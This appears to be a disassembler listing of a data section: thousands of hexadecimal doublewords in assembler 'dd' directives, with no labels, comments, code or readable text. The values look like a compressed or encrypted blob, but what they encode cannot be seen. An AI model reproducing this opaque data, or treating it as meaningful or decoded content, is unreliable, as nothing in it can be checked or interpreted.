		dd 0F43C8414h, 0B3A18CB0h, 2CC39020h, 9B4637Ch,	4C80CB3Bh
		dd 0E7FE58B0h, 0FFC01018h, 0C24BBE08h, 0FA1A9DE8h, 0F2814445h
		dd 0FDA57AC6h, 905CD889h, 21899089h, 0D185482Eh, 521C700Fh
		dd 9F24B3DFh, 0BD89388Dh, 91AC8657h, 62D07040h,	65470DCh
		dd 1A1288C7h, 28C7AD02h, 0DD404362h, 0C707430h,	0BA0F20CAh
		dd 7FA3FC12h, 89551805h, 790460CEh, 883B9018h, 7E505104h
		dd 1C9089D0h, 0AC70DB4Bh, 64B02B1Dh, 0A0BCC181h, 9D51F08Ch
		dd 0D5B2D0A4h, 0A1C080B1h, 58D4E693h, 9C0068B2h, 0B918B446h
		dd 952485F3h, 1050500Fh, 0BCE21E62h, 1D8E829h, 791880ACh
		dd 4BEB5C3Fh, 5E2804F0h, 38A472FFh, 308B6596h, 0D04C8074h
		dd 0ACA066DBh, 49C0815h, 0AD43558h, 6930B3C5h, 40BB19CCh
		dd 0B1645819h, 0A8FE7238h, 0AFF280B9h, 7DF81F4Ch, 1760CF61h
		dd 10BDE92h, 0EC07C568h, 0E4200984h, 381268A6h,	0CA9950C8h
		dd 4FFF3E00h, 0CDDC2A5Ah, 1214A511h, 5D1E0681h,	0BC2C50B7h
		dd 0F0122835h, 0C053828h, 6144DE15h, 91599C50h,	3217195Ch
		dd 0A8616E08h, 4C5A36E0h, 1DB378FAh, 7443F3A1h,	0EF487C44h
		dd 1D00470h, 0BCE2D36Bh, 0E3989C81h, 5CC18414h,	3C8E27FFh
		dd 32D4CC03h, 28164842h, 4802183Ch, 940D05FBh, 8DA22E18h
		dd 65FC09A2h, 8A047C1Ch, 85C14CBh, 0DCFC8C83h, 592F2C81h
		dd 2904C60h, 6F94E7BFh,	0D487381Ah, 0A803DB0Ch,	43C750B7h
		dd 80247116h, 3B09F84Dh, 6AB860CAh, 7B0F38BBh, 589008E8h
		dd 0D812E0ACh, 0A046C1B9h, 79606572h, 32E09070h, 55106C8Ch
		dd 5C9BA060h, 5931DCBAh, 4D2D68C6h, 0B9128087h,	80D8C3F2h
		dd 290E6838h, 0CC60B0EAh, 637DA25Bh, 0FABCE815h, 0A9BBA83Dh
		dd 23C09C5Fh, 4D24A559h, 4124ACBCh, 871002A0h, 5445F351h
		dd 0A0899382h, 26946475h, 70805FDCh, 0CF72409Fh, 355C29C6h
		dd 70900958h, 0E81694F9h, 9B09B1EAh, 14CEB35h, 0FAD226B0h
		dd 60C03032h, 0B6147522h, 43F1C883h, 6360B1FAh,	21E3A9DFh
		dd 0ECFC8124h, 307079D0h, 0DC2924C4h, 74915082h, 7B5767C0h
		dd 0AC2B547Ah, 64504C86h, 0D8C75E0h, 0A8A8A6FCh, 0D49943CDh
		dd 18ADA6C0h, 7C51C22Dh, 7894CB7Bh, 17D31B02h, 824D909Eh
		dd 94C69FA4h, 131F0664h, 50162F92h, 264E3C14h, 69E9A03Ch
		dd 0E16D286Eh, 0A6F2B4h, 0D97BEBCEh, 0FA10E0A3h, 809008C8h
		dd 0A9209430h, 0EB24DF1Ah, 13582055h, 9C640937h, 0AC025F8Dh
		dd 0C0675389h, 9C3F1401h, 289CC305h, 0FF84ADCh,	5DEDE078h
		dd 1448C3ECh, 0E3BC1DFCh, 0B5496A5h, 0D99C27B0h, 83A81C63h
		dd 50AEF32Bh, 0BEDFC806h, 14287039h, 0B4893C7Ch, 0BDC0CFE0h
		dd 5CC9A961h, 6C202F89h, 8634871h, 0A1BCFD28h, 0FC4E4AF3h
		dd 66267E02h, 30C0B404h, 0FD006C3Ch, 0D9BDDBC0h, 44E5A2h
		dd 0F4866AC5h, 0CC2F28DEh, 56634F1Ch, 0E139DC80h, 289682Ah
		dd 4287C6BFh, 189865E0h, 70002923h, 39D4516Fh, 0A5D71C1h
		dd 0C6BE9F89h, 2B484014h, 7667D4C5h, 0B5672158h, 9C5ADFF1h
		dd 8491448h, 75A67F0Eh,	0E5140100h, 0A6043FB5h,	0ABAA063Ch
		dd 2856593Ch, 3DF16118h, 0A4DE67A8h, 5C0F0614h,	0A0521D5Eh
		dd 53AC4105h, 14601FB4h, 32B3F023h, 0F911FE36h,	0F87FA640h
		dd 8E2509C0h, 0FD6BE0h,	5F31E70Ch, 35912D1Bh, 36A7051Ch
		dd 156E3440h, 8930D7h, 9AA1C57Fh, 0CF2C869Dh, 9300DF75h
		dd 852E0EC9h, 72E9EA43h, 0B56C1D90h, 5666CE8Ah,	4BEF7800h
		dd 51027D5Dh, 0A9228DDh, 6460DD5Bh, 46017555h, 0B6CB613Ch
		dd 1EC0D395h, 0E1420021h, 1FFDF060h, 0BF00149Bh, 0D802853h
		dd 0E0450CC3h, 243304CDh, 0C0D6512Dh, 4198385Fh, 1A5BF600h
		dd 569B58DAh, 0E5EB0CE4h, 9BC95A1h, 0CE00E1E8h,	98903331h
		dd 753B57Bh, 0E0F2301h,	0DCAA903Fh, 0D93B70CFh,	0EF228172h
		dd 0AE77E4D7h, 0AF66F0F7h, 6A1D008Eh, 0D0C06E6Bh, 7F03B2B3h
		dd 294D1AB4h, 0E83DE013h, 0A98C3C9Bh, 0DDC6AC00h, 30E6B1F5h
		dd 3788D8E5h, 0EA15D31Ch, 0C6E48240h, 59B0A0h, 2170E2Fh
		dd 9B1574Dh, 0AA66EB28h, 0CE8EE600h, 4A73446Dh,	2D610E74h
		dd 0CCA0B863h, 568B3072h, 53262C00h, 0D3D92B96h, 1097CEFh
		dd 0A7BEF197h, 7E868B6Eh, 47833800h, 27850Fh, 0CB97883Ch
		dd 0FC3174BAh, 48A1B400h, 0ACA78DB5h, 38207465h, 0E1809D9Bh
		dd 8E3235E2h, 0E500485Bh, 0DC6FE35Fh, 334DB05h,	61998278h
		dd 7FF0B3ADh, 350751AAh, 75949FD5h, 80EF7095h, 89B7A9D4h
		dd 9511B400h, 0C7DDCE65h, 8E15004Ah, 8B13EA8Ch,	0C8001E7Ch
		dd 357E8404h, 7EB42A1h,	0A5FA0594h, 0AD5DC06Eh,	4D008D91h
		dd 6BF8C28Ah, 38BFC8h, 0F6BBB22Ch, 7577B1D1h, 0BCD34D00h
		dd 5E064353h, 463C2645h, 3AA500A8h, 0D3D786D8h,	0DB782202h
		dd 8565F0F4h, 0BC0350CAh, 0F0B78FA1h, 94B188h, 2C246F6Ah
		dd 233E7E3h, 9FD1900h, 8A828C28h, 0B15C0098h, 0D11D2274h
		dd 0C0014D61h, 70D7193Dh, 0FAF48F11h, 0B6E601C4h, 8D73A8DEh
		dd 0CAFBE0F1h, 796F000h, 0FDF422A6h, 4BD20057h,	0A8C24ECBh
		dd 0FB008E95h, 0B410164Ch, 3AF91E44h, 0D68005EAh, 12ECBE74h
		dd 0E100277Dh, 49A6ACDDh, 1FDFEBD4h, 807C04E4h,	14E786CAh
		dd 1901F2EEh, 0D62C4B23h, 0A5F0FD98h, 0A3E60075h, 27FC0B79h
		dd 4B0FEB70h, 40F44416h, 80E5ACB4h, 873B5CEAh, 0E7129900h
		dd 90032BBAh, 0B0A17700h, 5D5204A4h, 1C4F01A7h,	6DE714DDh
		dd 0E64DE073h, 81AC7D00h, 0ECD522A3h, 42F602D9h, 3D88ADBDh
		dd 1EDFBC80h, 0C51D9A64h, 0B949A472h, 0C9780141h, 2FE5CF95h
		dd 62EE820h, 0DC160F54h, 40EA102Dh, 6A3A7807h, 9840FA8Ah
		dd 11AE3F2h, 8F580C93h,	0F79EE9B2h, 0DA6271D0h,	4E05AC00h
		dd 0BE5491CCh, 387226h,	72F2EDF3h, 783A9C56h, 868C2F00h
		dd 1F6AB74Dh, 523D00AEh, 486F540Bh, 0DE00015Ch,	7216FDBDh
		dd 78FF8Ch, 0AE6ECBA7h,	8D098520h, 49DA5C01h, 9B703305h
		dd 31BA9280h, 3FD080B0h, 0CA0095FEh, 8B99C0F1h,	73ACBDh
		dd 43B3073Dh, 0BB74E8C8h, 6129D4F3h, 8367C30h, 573472h
		dd 69AB05A5h, 7D0AFB11h, 3A335B00h, 36FF6A1Ah, 167CE46Bh
		dd 1E9AE43h, 8204D021h,	1898805Bh, 0FB4DEE10h, 5DD401D2h
		dd 0D95A809Fh, 22ACF4B4h, 43D5903h, 0FAE44C78h,	5B8380D7h
		dd 9D8F41h, 0DD0A94BCh,	59E2A9CCh, 0FF078198h, 0B08B2D58h
		dd 926D78D0h, 0F6EB1CA2h, 0CF570FEEh, 0A03070C7h, 20ADAA93h
		dd 350C4400h, 1F4E5253h, 72360061h, 63A06DC8h, 57F6286h
		dd 0CF22C400h, 3A29BFB8h, 0F740112h, 337A169Fh,	0B735FCD8h
		dd 5CE5AB0Eh, 9E950003h
		dd 240B3DBCh, 38CB3F94h, 0E9B0D00h, 1360A2C6h, 0E162E700h
		dd 167AC932h, 3419009Dh, 63D4E35Ch, 0E200C05Ah,	4D1B03FCh
		dd 44971Ah, 33F387D9h, 96EBD51Ch, 30F75E13h, 5B21FF00h
		dd 3D6480h, 9CA7F10Ah, 5D783784h, 3AE21538h, 6F7B80A2h
		dd 0A9943C4Ah, 0C01128D9h, 0B7780EBEh, 0EE40C50Ah, 0A1287BDFh
		dd 10FC6603h, 0ABAE24EAh, 1FDE035h, 0CBBA00CCh,	977BBE82h
		dd 2300AF0Ch, 0A79E87FBh, 3CCA3A84h, 73EFFFh, 0E87DACA1h
		dd 8AF94549h, 0C3DD3700h, 635DD67Ch, 4BA50079h,	53A21C08h
		dd 25008247h, 0AF4D6548h, 152E64h, 9654FA80h, 0F2D0F7ECh
		dd 58DC893Dh, 0B0F800A8h, 4A8F559Fh, 685C009Ch,	0EB298E2Eh
		dd 8B00159Bh, 1BC5F56Dh, 0CC87C2h, 0CE0BEAE8h, 0F7342912h
		dd 0C7D24200h, 0E447ED85h, 0ECA700D1h, 0C76539Ah, 0F998ADB1h
		dd 2AB36E00h, 0D23C0BAEh, 506D013Dh, 7B619148h,	0EEDB70BCh
		dd 75A2B600h, 6F964298h, 41D43A11h, 21808480h, 0EB4CD93h
		dd 0B6E91F00h, 27038F51h, 54F300FBh, 8BE30529h,	5AE65F0Dh
		dd 0E9ED6512h, 0D4B83400h, 726CD97Ch, 17CF0054h, 8D580681h
		dd 0BC01B1F6h, 37CAB28Ah, 6DD56724h, 0E87FE020h, 0F3B5006Fh
		dd 8561420h, 0C5B82594h, 4F9C6B00h, 8945AC5Dh, 0DA6002Eh
		dd 0F905640Ch, 9E1F9959h, 95C133D2h, 73B11DEEh,	3F13EFE8h
		dd 3E80AB0Eh, 114C39D1h, 58C00F2Dh, 0A5264F09h,	76C2003Bh
		dd 41921FD6h, 6BF84610h, 0CC7C8F00h, 752D6352h,	0FA0900BCh
		dd 907A31C1h, 87E5178h,	0FED0A200h, 666023B4h, 0F85BFE35h
		dd 0E36C3CD2h, 881F1E8Fh, 80C36EAFh, 0FC0E5A3h,	13785F89h
		dd 4F458500h, 0B7E2F21Eh, 6BDC1DFEh, 963C0DFh, 56C122BAh
		dd 2BAD0E00h, 17EE3BF6h, 72E2D0h, 0EBD34F36h, 47915DE3h
		dd 99847F00h, 0D90DAA73h, 85BD0749h, 0E09A974Bh, 0B0392702h
		dd 0CB51D800h, 1FBA9488h, 0D0F00CDh, 30A9E670h,	0E0E91BFh
		dd 60F5FEDFh, 2888AB67h, 604900BBh, 226D17F9h, 1900B50Fh
		dd 80E2B6FEh, 2B08DCh, 0C9338FA0h, 57515DF3h, 0E70011F6h
		dd 0A91FA267h, 449FF06h, 0D9DFEF14h, 805A85D2h,	0A7435866h
		dd 0C347E51Dh, 721378F0h, 7A6E6B8h, 7AE12266h, 38DEC058h
		dd 4800149Bh, 0EDB14F4Ah, 503AF653h, 0EB88Eh, 5B84466h
		dd 5C1D8022h, 0A98DF500h, 0B965261Ah, 0B2B10009h, 228E5552h
		dd 1779DC4Dh, 4436F700h, 91CB392h, 0EEEBE09Bh, 722800B2h
		dd 7C4C6D85h, 0F2008761h, 0DF19D0D2h, 3D314621h, 4B1DB2AFh
		dd 0C1A1CC93h, 7219A5B9h, 5505988h, 601D9FD8h, 5B16781Eh
		dd 9831B60Ch, 671712Fh,	6E90D0h, 5DBBD7A0h, 5F543F25h
		dd 0FD727C00h, 0AD39B7BFh, 20300DEh, 0CB90A6BBh, 5D3C3F6Dh
		dd 81F50C1Ah, 0CE78EDh,	0A21B4C92h, 0A8279B56h,	5FDF88A9h
		dd 7296E004h, 0F2690054h, 93BF0CA3h, 0B013B74h,	24B4336Eh
		dd 31804761h, 996C4D1Ch, 0BB3FF1B3h, 9CD88F39h,	234C83E0h
		dd 3468E596h, 4CB35293h, 0B546BBB0h, 1D6E10C0h,	0EFF06Ch
		dd 11DA97A3h, 2CE7A045h, 0A612CC1Eh, 519A218h, 0D40784A8h
		dd 0DBE81FC3h, 0ACE4A9C3h, 10C5B442h, 1052D122h, 18A0A661h
		dd 24A0A30Dh, 5484B86Fh, 0A8F13C39h, 0EBF0150Ch, 1EF71710h
		dd 8433E188h, 25489454h, 5008CA42h, 1D8A0757h, 9D0A30ACh
		dd 9080C6Eh, 702448A0h,	6CA1A03Eh, 7B7851B5h, 428108B9h
		dd 18202ACBh, 30BF3D28h, 54843776h, 50A024F1h, 0A8AD482Bh
		dd 0A40A3954h, 61D965C0h, 6729C1AEh, 6E318603h,	2119948Eh
		dd 3A081266h, 7738008Fh, 917109DAh, 903276h, 0CC07EE79h
		dd 0D6C6795Bh, 23DC25D0h, 0F2EC00AEh, 352A3E2Dh, 0AF001C89h
		dd 0A622F00Eh, 24638B08h, 9E240D7Ch, 562AFECBh,	0DEA215D4h
		dd 0C703F8EBh, 6A5F0673h, 0AD81F0E7h, 19FC333Eh, 99A75A0Fh
		dd 30EA20CBh, 4FF9867h,	36242C34h, 512480BCh, 0AB010462h
		dd 0CB14C703h, 2A60A5F9h, 13B20097h, 9F5E6695h,	6926A873h
		dd 0AD01D92Dh, 1D828B7Dh, 0D4001C5Fh, 0C29304B5h, 3D01387Fh
		dd 453B4721h, 9640A850h, 67B051h, 1D8379D9h, 0CB8C9DF4h
		dd 36DD7F37h, 5BF9C850h, 0E4EA004Ah, 0D8BA31AFh, 1400E5EFh
		dd 6E89EB8Dh, 637B30ECh, 5CD6D8AEh, 0BD115018h,	205E6A0h
		dd 55565D06h, 1480D064h, 0CB8D0A5Ch, 6942C114h,	0DC960E34h
		dd 0F77BE024h, 7CCE454Eh, 5AD60054h, 0B482BB8Ah, 5071359h
		dd 87800465h, 0D4FAD60h, 0ED4D00C9h, 1AF61F8Fh,	0A10077DFh
		dd 73CAD9E1h, 0C1AAE8EAh, 0ABE77FB8h, 98B986h, 0B0F0BC9Fh
		dd 90C1D923h, 15F90FD5h, 0BC0BA2Eh, 90EA9D7Eh, 0CBE3FB06h
		dd 2880F7AAh, 168EC8Fh,	0AD126707h, 5CCA98C8h, 5E057240h
		dd 95D03CCFh, 0D880C800h, 1FF6DCh, 84733427h, 16588EDFh
		dd 0CAAFC00Ah, 86BBC0E7h, 0E6F14E2Dh, 0A4AC3010h, 71778DB0h
		dd 0BA17C900h, 0C28AB078h, 5E730386h, 289EA1E9h, 38011877h
		dd 2AE127B8h, 8DD03246h, 677072CEh, 0C3DD2104h,	0C0BF8B96h
		dd 0A19157E8h, 7CCF1701h, 8CFCDA43h, 40B5309Fh,	0EC8E78B1h
		dd 8400109Dh, 0C4890CC3h, 3DC061D4h, 88098D6Dh,	0F1803CDEh
		dd 0A80602F8h, 0BE8E8700h, 0C655BFE6h, 80E2604Ah, 0CCFBA411h
		dd 0BCFE5600h, 21347991h, 3D43EE1Ch, 5D80F4F5h,	0B54477C8h
		dd 3A009561h, 664041CAh, 0C4DB9Fh, 6CBC15FFh, 0AB7EB0A6h
		dd 0A1FC5E00h, 436F663Ch, 0C7B00E7h, 8A5145ADh,	1F02E2BDh
		dd 57D1DD4h, 0CFFA60AAh, 0F63C0044h, 0A799A5C9h, 0DD005707h
		dd 30252135h, 0D48D7Dh,	0CEFA9D93h, 0AD713CA8h,	1E12000h
		dd 43B8C223h, 0C310039h, 0E7B51B94h, 3800C8C1h,	0A6AD709Ah
		dd 0E0F73347h, 789600EFh, 0CFF8D6BBh, 67018E62h, 5049AC8Ah
		dd 2AF4244Dh, 0DD47006Ah, 0FB8F9EA7h, 7600B5B6h, 0AADEDBF0h
		dd 0E07321E9h, 0FFD40196h, 93EE4EC1h, 0E0708097h, 770A3742h
		dd 30D9567Eh, 55667104h, 6F247085h, 597606B4h, 0B0E20178h
		dd 7E37CC00h, 0B87F5268h, 0C8CE3012h, 0D50CF430h, 0E09E221Fh
		dd 0FF83399Fh, 0E308CAh, 944F8398h, 0E863F58Bh,	920389B8h
		dd 9976BCF8h, 8A40004Dh, 506E81DEh, 0CE0146C3h,	3A179CB5h
		dd 9450FC5Dh, 61B4A0F3h, 0FDF651DCh, 8BD0F3DAh,	0DE3FC277h
		dd 735100A4h, 0C81A2BBFh, 44DF0162h, 9EAFCB2Dh,	952270E2h
		dd 2083BA00h, 3CF254Fh,	68BD073Fh, 0F05CED4Ah, 0D05802ECh
		dd 76E03750h, 0B50575FCh, 0EFA74267h, 0C0DC1DFAh, 0D9CFB864h
		dd 510027E7h, 8EE876AEh, 0C32A3B6Dh, 0A54FAB78h, 57B73FE8h
		dd 0A9A448A8h, 410E7B72h, 40D3C144h, 738170F3h,	0D29C0119h
		dd 7F693B3Ah, 0F0BF21h,	0D338DC7Bh, 7B53117h, 0EB1C7CB0h
		dd 40CB55D7h, 183E8CCh,	0C807379Ah, 0CFEC6584h,	81E3D080h
		dd 0EC935042h, 0C33E79FCh, 90334031h, 144B171h,	35960A22h
		dd 30C44C30h, 0B7E582B8h, 0A5860401h, 6AB232CDh, 0E185F840h
		dd 34230615h, 0A8F6EC77h, 1C09980Ch, 0F35D206Bh, 0A83F6E60h
		dd 3ACDC84h, 773BFD03h,	3104F79Fh, 53BD4961h, 0C5E52080h
		dd 0A58701A6h, 0A4D9A769h, 213422FCh, 36AE0032h, 7094A3Ah
		dd 1681CA15h, 0FD1002D0h, 41279754h, 0C42B2591h, 0A5A04012h
		dd 7978EAA6h, 5E02A9DEh, 99E877C7h, 9418E908h, 0BC2C2B00h
		dd 0DA6FF9C0h, 3881005Bh, 74173EFh, 0A0A88CADh,	0B50D6D1h
		dd 1800CC99h, 11AF68C8h, 582036E4h, 2F008DFAh, 0E61459D5h
		dd 4836447Ah, 81B838B5h
		dd 64C4ED04h, 0FA60E1Bh, 3620A4FCh, 1E08187h, 0BC8BA900h
		dd 9A09CC60h, 4920048h,	0A31BB8B7h, 0B200E8A4h,	0E188B071h
		dd 0B8D2A87Fh, 3E830358h, 4298A52h, 0E0BBCFA0h,	84806A00h
		dd 2B5A60BEh, 50C2037Bh, 9D07C156h, 49FB4800h, 1D08A80h
		dd 7DBB011Dh, 3F2673BFh, 4F12FCFAh, 0E7A85500h,	6FA5E2A9h
		dd 4ADD0040h, 0BE2D49EBh, 0E01695DAh, 0FA00351Dh, 0A5A9E615h
		dd 28740119h, 0AB6A6FA1h, 485180B1h, 0C80816BFh, 0BAA03CDFh
		dd 794FF0Ch, 0D1000410h, 8EF358B2h, 0C57C956h, 0DD50EA60h
		dd 8655E61h, 484030B1h,	0B7BA6E7Bh, 83AE0337h, 7C595739h
		dd 0C2B9C800h, 71DF605Ch, 0E8A300F6h, 0F095825Eh, 0A474A5B4h
		dd 0C0080A4h, 264E3D48h, 7F6D6AE7h, 0EC4B00E0h,	0D27FC7BFh
		dd 7D009D3Eh, 0FBA5A89Ch, 7C8E8Ah, 8FEE4884h, 7635CE85h
		dd 9EF35018h, 0E4E858h,	311B05F8h, 2C90C738h, 2F070F01h
		dd 92581E64h, 0B888A3E3h, 414262h, 55CA487Eh, 0BE3AC326h
		dd 2BB1DD00h, 9EB6EB50h, 711B73E3h, 2488F03Eh, 538CEEh
		dd 8F39EDDCh, 0B100FBF1h, 0F72561A1h, 7AE0DF6Ah, 58690062h
		dd 1794518Eh, 84019ED7h, 6B2B0424h, 87F8E0D6h, 0C898007Bh
		dd 5B7FFC4Dh, 5E3A2307h, 8400FDB7h, 0D6E203BCh,	0A8890Eh
		dd 0B915FCC4h, 2EA4CE44h, 0D8001379h, 0C198C7B4h, 6EB72499h
		dd 0A5C04A42h, 4EE1E05Bh, 0BEF6047Fh, 5F134000h, 0E52AF14h
		dd 1140BFE6h, 760C5B6Ah, 0E8B35615h, 0E1BC00BEh, 228C8F7Ah
		dd 0BF781FBDh, 4203329h, 63E0005Ch, 2C9A96CFh, 0D200094Ch
		dd 92D32FABh, 0F10681h,	55C71432h, 2B4CE3DCh, 30865D00h
		dd 61A7121h, 1DFDE887h,	7C3D1CBh, 131933h, 59010E8Dh, 338203Ch
		dd 85EBED94h, 0EC28F85Bh, 0A4B600CAh, 0E449F2D9h, 4B001560h
		dd 8E11544Fh, 1B3204h, 303329CFh, 0C91C5C48h, 9613DC05h
		dd 81FB2CEFh, 3031D7C5h, 5C003CB3h, 0F12F08AFh,	718CCCh
		dd 0F7B1C873h, 28A8B8FAh, 0F2942A00h, 8374AB9Dh, 7CAC0393h
		dd 45CB63A3h, 0E926C188h, 3D0A6500h, 98DF25B9h,	0EF7A00FFh
		dd 0AF470FA3h, 0CC001E30h, 76649204h, 26E16935h, 1F7A2A4Ah
		dd 0F175808Bh, 2D92AF88h, 0A05C4200h, 9C54EEE0h, 28EA6036h
		dd 0C40DD5B5h, 0E13D4400h, 0A3C9EB25h, 0EE020130h, 6A59733Bh
		dd 2143F8F0h, 270099E8h, 87033CAEh, 74B311h, 0A2AAC369h
		dd 4B8D3976h, 0FF581926h, 0ED124E00h, 0C7DD4A92h, 0D01F3A68h
		dd 3C6EBF93h, 9636E500h, 68C65C46h, 33F1009Ch, 1C94590Dh
		dd 47001069h, 4B8ABF22h, 0FF0A5Bh, 0F229A684h, 5740DDA7h
		dd 0BE7D2500h, 41A032B5h, 6471001Ah, 56B80C06h,	0D105472Ch
		dd 0BC659CAAh, 0ED9022C0h, 6BA0009Fh, 0C7072858h, 5F07FEB0h
		dd 0F9BFBB01h, 0AFE9A01Eh, 14C7C3Ch, 8A0FF30h, 0DCC1868Ah
		dd 0B800EE96h, 0EDDB8F93h, 0AE9FE59h, 6C061D36h, 3C6900C7h
		dd 6656CC5Ah, 8CBA4900h, 0A5C470A6h, 0B97A40h, 0D9BBE472h
		dd 0E6EA7F1h, 8E46B312h, 0DE396E01h, 89F8256Bh,	0F46D003Eh
		dd 8AFDCD62h, 0D671B14Dh, 0BC0015EEh, 0F53A9219h, 1C33F82Fh
		dd 0C0916E24h, 22F3B946h, 19E674E0h, 0EC9EB00Bh, 2EE0833Bh
		dd 4BF5A884h, 3E3DE293h, 0E909B160h, 5B807A4Eh,	9C67687Bh
		dd 0E841D00h, 0CE810845h, 66780026h, 0AC7B729Bh, 3F00E692h
		dd 8A6F54E7h, 7C234Ch, 0C3A862D3h, 5891D7C1h, 0B04A3B00h
		dd 0F14497E2h, 0B81F006Dh, 41B2DBFFh, 70ECDE5h,	6F3FBDh
		dd 77541A25h, 59FC00B3h, 7B791E6Dh, 0E4009558h,	72C88348h
		dd 90372DCDh, 53A70052h, 5C158724h, 570026D2h, 0EDD1FBC8h
		dd 0E4A39B0h, 36C2ABDAh, 967FB2C0h, 513D8068h, 787E8076h
		dd 2B6D986Ch, 0F98F00B0h, 0A90DE71Ah, 0F60B701Dh, 6874B0Eh
		dd 0B0F460h, 3ADBD865h,	2E8603E3h, 31B82A1Dh, 92FA9D00h
		dd 1EC2041h, 99228228h,	0E883BFFEh, 86037A37h, 0EEC6D7E9h
		dd 0CF30881Eh, 0DE950061h, 3DF916FCh, 640F2EF6h, 60D05B94h
		dd 0AF80100Eh, 3230008Eh, 379543B3h, 0B10ED2BAh, 0E71F818Ah
		dd 8780D4BBh, 9A65C5h, 73E67F93h, 0CFABB985h, 919CE050h
		dd 958D3400h, 0DFB6F079h, 8444004Ch, 0D143515Fh, 3100CBADh
		dd 8A495E36h, 1D688Fh, 0FD4DD412h, 52FEC3D0h, 53E9801Ch
		dd 32D76980h, 0EF59035h, 0BF9F05C8h, 7D7B2EA0h,	9600E5E6h
		dd 1A0EFB43h, 0BF3A944h, 98592411h, 0B3D31F01h,	12EB7053h
		dd 0B146E700h, 0D061CD29h, 96707DDh, 10402ED6h,	366A3593h
		dd 266BBF00h, 0C1D04EE0h, 9B7101D2h, 28B8562Bh,	7B10E0BDh
		dd 5E67BB03h, 0B83D6032h, 1CE1D1Eh, 0CA2D5786h,	2490C83Eh
		dd 9B00475Ch, 8838FE8Bh, 1D0B106h, 0AE8D5CAFh, 3029ADE3h
		dd 0E503FDD0h, 2E4E6B48h, 4D289005h, 86A60B66h,	0A200943Fh
		dd 4E4974CBh, 10545901h, 0B4E4BA8Bh, 7BBD21C8h,	2AE8008Ch
		dd 4C88DDC6h, 5C00EAB1h, 0B4CC06D5h, 0A02264h, 12187B91h
		dd 1E8862A5h, 0B5E2A800h, 46C8B187h, 41F266h, 5A0D9186h
		dd 0BFA143Ah, 0BE993E00h, 6A800648h, 5224005Ch,	674AA725h
		dd 390F90F3h, 9EFA88D2h, 0C454C9h, 3D346588h, 27A00EBh
		dd 6BF336EAh, 5A00D620h, 3BA8BA41h, 91E65Dh, 0BD32C0A4h
		dd 36281430h, 5E0ADD00h, 0AF34AA8Dh, 5280000Bh,	0A981475Ch
		dd 7A003D6Ah, 0F335285Bh, 1F394683h, 47136D76h,	0EF80FF55h
		dd 7168F6E2h, 0D97C39E0h, 0A8DB3903h, 97377670h, 9EA3D050h
		dd 0B9D70B14h, 6A0E0333h, 0A565F380h, 0CE0012DBh, 0DAB0E115h
		dd 1E8B2A25h, 80DE5BC6h, 0BF8750C4h, 0A0003CC9h, 0A102CFAAh
		dd 0E4D0A3h, 60B6E7A4h,	5CDB5D22h, 15F7AC00h, 8FEAFE18h
		dd 30B019Fh, 0F54851CCh, 9D9F4F1h, 7AA7CB00h, 529EDB2Ch
		dd 2E1300A1h, 124FA241h, 5101FE0Eh, 38F362C8h, 0EEF4C319h
		dd 0B0762672h, 2A9D8366h, 97A81551h, 6A5FF637h,	36E3B0h
		dd 239438EDh, 8CFED4AAh, 90272C03h, 80DB8168h, 7F375Ah
		dd 18767D94h, 4434032Bh, 921B820Fh, 0EEC19D93h,	0C70E17E8h
		dd 4046DCh, 4FB4FD8Dh, 0E4EDAC73h, 0B0267F00h, 0AC8BA4Ch
		dd 0A7E51DA3h, 679C4329h, 1FA08951h, 0D300ADF6h, 7D665A18h
		dd 0CB8824h, 0B9C92640h, 634C0311h, 0D2F73D00h,	4757B1AAh
		dd 7FF800BCh, 8B1472F4h, 2A00A1A3h, 0A738F9FFh,	0B570Dh
		dd 0A6C9344Fh, 0C07DDCF1h, 8C104500h, 15AD2D95h, 0E3AECA5h
		dd 229B678Dh, 0F0FA05E7h, 0D5E8C3BBh, 5EBDEC00h, 0BEB4A86Eh
		dd 0CA0E0E6Fh, 0B6018EBh, 0A5A4CE93h, 899AD33Dh, 8FA87EF6h
		dd 61B4A05Bh, 35E229h, 4A883C5Dh, 0D69E0ACBh, 0CCE5F901h
		dd 64AACE2Ch, 9485C8h, 0C4FDFF0h, 0FFA67C02h, 0EE1F7100h
		dd 1E413404h, 0F89700EFh, 116780F1h, 9A004C92h,	56C62BBh
		dd 6A3AE9h, 0E84AD009h,	0B6EC940Ch, 670EC107h, 8570E4BCh
		dd 517843h, 1F6BF490h, 364EA861h, 66281200h, 0DCCFC9Fh
		dd 0E8D20355h, 0F87E0905h, 22027200h, 8B44A8A7h, 0D8C80092h
		dd 5BDCC67Bh, 0B801B941h, 626D111Eh, 83CE526Fh,	0E84BE58Bh
		dd 0C297F72h, 0B82FA131h, 101D4F60h, 911E19C4h,	0B266D00h
		dd 0E83E9972h, 18CAE80Eh, 20B9EA17h, 0E11E7456h, 2B0F11C7h
		dd 0ABC1DC9Eh, 6904005h, 0FA2960E4h, 0C94E007Bh, 0CC39E6B8h
		dd 6D00B217h, 0DF09E8A1h, 0BBD563h, 14F08770h, 0B538E9A5h
		dd 2D9738h, 6EE0C0BAh, 0C0188BE6h, 0ABD6A191h, 0E7E04E6Ch
		dd 7D2CE00h
		dd 0A804C8FBh, 9640002Dh, 98610B16h, 8830718Bh,	0EB9B3917h
		dd 0BEE1C0CAh, 3E2BB619h, 58DE900h, 0B23B9D90h,	5B6B0344h
		dd 218E7882h, 3054C097h, 46001197h, 43140AEFh, 0B815AA5Ah
		dd 241F00A7h, 73C6A30Bh, 0D8008637h, 3FFD925Bh,	19EE71h
		dd 0E5E9EABAh, 0C42C7649h, 0C4B6B00h, 0AC315E26h, 88190316h
		dd 6C2FF971h, 75A99807h, 0BC20F568h, 0E19E069h,	73B05F2h
		dd 96911360h, 3E009D45h, 0A5DCC16Ch, 3BD5F241h,	0C00CCEAh
		dd 72CE846Bh, 3200F613h, 0A06FB5A2h, 0E730DEh, 785498A5h
		dd 83D2272Eh, 3100B2E6h, 0F10468BCh, 0E2D9355h,	8580AB94h
		dd 0A06C0073h, 0D3C816A1h, 88B0D10Eh, 636A4169h, 98307797h
		dd 6DEC0718h, 6027377Eh, 3EFB74CFh, 0ACD0A116h,	36D3A000h
		dd 137B2D1h, 6C59680Eh,	204D164Ch, 5E07C2F7h, 8E03EA5Dh
		dd 97EC6B90h, 137602F7h, 9F166447h, 0CEFCA460h,	30C5500h
		dd 5C62741Ah, 9D0D0E19h, 0B2495Ah, 1E7E9CEFh, 83001206h
		dd 0FCBDF12Dh, 14CDA2Ah, 0A4432F10h, 80F2F989h,	0D76CAE36h
		dd 2EE37B70h, 3D3CACh, 76869193h, 64EAF165h, 0FB573600h
